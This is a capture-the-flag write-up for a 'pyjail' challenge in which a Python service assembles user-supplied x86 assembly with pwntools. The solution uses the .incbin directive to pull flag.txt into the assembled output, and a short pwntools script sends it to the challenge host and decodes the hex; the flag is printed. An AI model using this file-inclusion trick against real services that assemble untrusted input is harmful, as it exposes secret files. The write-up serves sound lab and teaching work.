I implemented a service that lets you convert ASM to X86! Let's see if you can break it.
nc challs2.pyjail.club 18995
Attachment:
#!/usr/local/bin/python3
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import asm
try:
shellcode = asm(input('> '), arch='amd64', os='linux')
except Exception as e:
print('Could not compile shellcode. Exiting...')
exit()
print('Compiled shellcode to X86!')
print(shellcode.hex(' '))
Flag is saved in flag.txt
. In assembly, we can include external files via .incbin
directive:
from pwn import *
context(log_level="debug")
p = remote("challs2.pyjail.club", 18995)
#p = process(["python3", "asm.py"])
p.recvuntil(b"> ")
p.sendline(b".incbin \"flag.txt\"")
p.recvuntil(b"X86!")
p.recvline()
s = p.recvline().decode()
print(bytes.fromhex(s))
Then we can find flag from the hex string. Flag: jail{yeah_just_include_flag.txt_lol}
.